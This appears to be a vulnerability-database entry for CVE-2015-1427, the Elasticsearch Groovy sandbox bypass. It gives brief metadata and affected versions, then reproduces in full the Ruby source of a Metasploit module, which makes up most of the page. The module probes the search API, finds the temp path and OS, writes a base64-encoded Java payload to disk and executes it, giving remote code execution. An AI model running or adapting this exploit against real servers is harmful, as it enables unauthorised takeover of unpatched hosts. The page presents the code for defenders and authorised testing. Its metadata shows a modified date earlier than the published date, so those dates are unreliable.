CVE-2015-1427

unknown KEV
Published 2022-05-14 ยท Modified 2022-03-25
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

The Groovy scripting engine in Elasticsearch allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands.

CISA KEV

Vendor
Elastic
Product
Elasticsearch
Due date
2022-04-15

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36415 remote java verified ruby ยท 6 KB
Metasploit ยท 2015-03-16

ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ElasticSearch Search Groovy Sandbox Bypass',
      'Description'    => %q{
        This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
        exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
        REST API, which does not require authentication, where the search function allows
        groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
        to reference arbitrary classes. It can be used to execute arbitrary Java code. This
        module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
      },
      'Author'         =>
        [
          'Cameron Morris', # Vulnerability discovery
          'Darren Martyn', # Public Exploit
          'juan vazquez'   # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1427'],
          ['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
          ['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
          ['URL', 'http://drops.wooyun.org/papers/5107']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          ['ElasticSearch 1.4.2', {}]
        ],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(9200),
          OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
        ], self.class)
  end

  def check
    result = Exploit::CheckCode::Safe

    if vulnerable?
      result = Exploit::CheckCode::Vulnerable
    end

    result
  end

  def exploit
    print_status("#{peer} - Checking vulnerability...")
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
    end

    print_status("#{peer} - Discovering TEMP path...")
    res = execute(java_tmp_dir)
    tmp_dir = parse_result(res)
    if tmp_dir.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
      print_good("#{peer} - TEMP path on '#{tmp_dir}'")
    end

    print_status("#{peer} - Discovering remote OS...")
    res = execute(java_os)
    os = parse_result(res)
    if os.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
    else
      print_good("#{peer} - Remote OS is '#{os}'")
    end

    if os =~ /win/i
      tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
    else
      tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
    end

    register_files_for_cleanup(tmp_file)

    print_status("#{peer} - Trying to load metasploit payload...")
    java = java_load_class(os, tmp_file)
    execute(java)
  end

  def vulnerable?
    java = 'java.lang.Math.class.forName("java.lang.Runtime")'

    vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
    res = execute(java)
    result = parse_result(res)

    if result.nil?
      vprint_status("#{peer} - no response to test")
      return false
    elsif result == 'class java.lang.Runtime'
      return true
    end

    false
  end

  def parse_result(res)
    unless res
      vprint_error("#{peer} - No response")
      return nil
    end

    unless res.code == 200 && res.body
      vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
      return nil
    end

    begin
      json = JSON.parse(res.body.to_s)
    rescue JSON::ParserError
      return nil
    end

    begin
      result = json['hits']['hits'][0]['fields']['msf_result']
    rescue
      return nil
    end

    result.is_a?(::Array) ? result.first : result
  end

  def java_tmp_dir
    'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
  end

  def java_os
    'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
  end

  def java_load_class(os, tmp_file)
    if os =~ /win/i
      tmp_file.gsub!(/\\/, '\\\\\\\\')
    end

    java = [
      'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
      'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
      "i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
      'b64_i=b64.newInstance();',
      "i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
      'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
      'file_class=java.lang.Math.class.forName("java.io.File");',
      "file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
      'loader=loader_class.newInstance();',
      'loader.addURL(file_url);',
      'm=loader.loadClass(\'metasploit.Payload\');',
      'm.main(null);'
    ]

    java.join
  end

  def execute(java, timeout = 20)
    payload = {
      "size" => 1,
      "query" => {
        "filtered" => {
          "query" => {
            "match_all" => {}
          }
        }
      },
      "script_fields" => {
        "msf_result" => {
          "script" => java
        }
      }
    }

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
      'method' => 'POST',
      'data'   => JSON.generate(payload)
    }, timeout)

    res
  end

end
EDB-36337 remote linux verified
Xiphos Research Ltd ยท 2015-03-11

ElasticSearch - Remote Code Execution

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

ElasticSearch Search Groovy Sandbox Bypass
Source fetch failed: fetch_error โ€” view the original via the link above.

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.elasticsearch:elasticsearch<1.3.81.3.8
java Mavenorg.elasticsearch:elasticsearch>=1.4.0,<1.4.31.4.3

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.